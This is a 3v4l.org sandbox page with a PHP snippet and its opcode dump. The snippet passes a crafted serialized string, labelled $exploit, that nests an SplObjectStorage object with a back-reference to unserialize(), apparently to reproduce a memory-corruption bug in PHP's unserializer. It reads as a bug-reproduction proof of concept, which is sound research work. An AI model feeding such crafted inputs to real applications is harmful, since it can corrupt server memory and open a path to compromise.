3v4l.org

run code in 300+ PHP versions simultaneously
<?php $inner = 'x:i:1;O:8:"stdClass":0:{};m:a:0:{}'; $exploit = 'a:2:{i:0;C:16:"SplObjectStorage":'.strlen($inner).':{'.$inner.'}i:1;R:3;}'; $data = unserialize($exploit); for($i = 0; $i < 5; $i++) { $v[$i] = 'hi'.$i; } var_dump($data);
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 42) Position 1 = 17
Branch analysis from position: 17
2 jumps found. (Code = 44) Position 1 = 19, Position 2 = 13
Branch analysis from position: 19
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 13
2 jumps found. (Code = 44) Position 1 = 19, Position 2 = 13
Branch analysis from position: 19
Branch analysis from position: 13
filename:       /in/3KUdZ
function name:  (null)
number of ops:  23
compiled vars:  !0 = $inner, !1 = $exploit, !2 = $data, !3 = $i, !4 = $v
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    3     0  E >   ASSIGN                                                   !0, 'x%3Ai%3A1%3BO%3A8%3A%22stdClass%22%3A0%3A%7B%7D%3Bm%3Aa%3A0%3A%7B%7D'
    4     1        STRLEN                                           ~6      !0
          2        CONCAT                                           ~7      'a%3A2%3A%7Bi%3A0%3BC%3A16%3A%22SplObjectStorage%22%3A', ~6
          3        CONCAT                                           ~8      ~7, '%3A%7B'
          4        CONCAT                                           ~9      ~8, !0
          5        CONCAT                                           ~10     ~9, '%7Di%3A1%3BR%3A3%3B%7D'
          6        ASSIGN                                                   !1, ~10
    6     7        INIT_FCALL                                               'unserialize'
          8        SEND_VAR                                                 !1
          9        DO_ICALL                                         $12     
         10        ASSIGN                                                   !2, $12
    8    11        ASSIGN                                                   !3, 0
         12      > JMP                                                      ->17
    9    13    >   CONCAT                                           ~16     'hi', !3
         14        ASSIGN_DIM                                               !4, !3
         15        OP_DATA                                                  ~16
    8    16        PRE_INC                                                  !3
         17    >   IS_SMALLER                                               !3, 5
         18      > JMPNZ                                                    ~18, ->13
   12    19    >   INIT_FCALL                                               'var_dump'
         20        SEND_VAR                                                 !2
         21        DO_ICALL                                                 
         22      > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
161.44 ms | 1395 KiB | 17 Q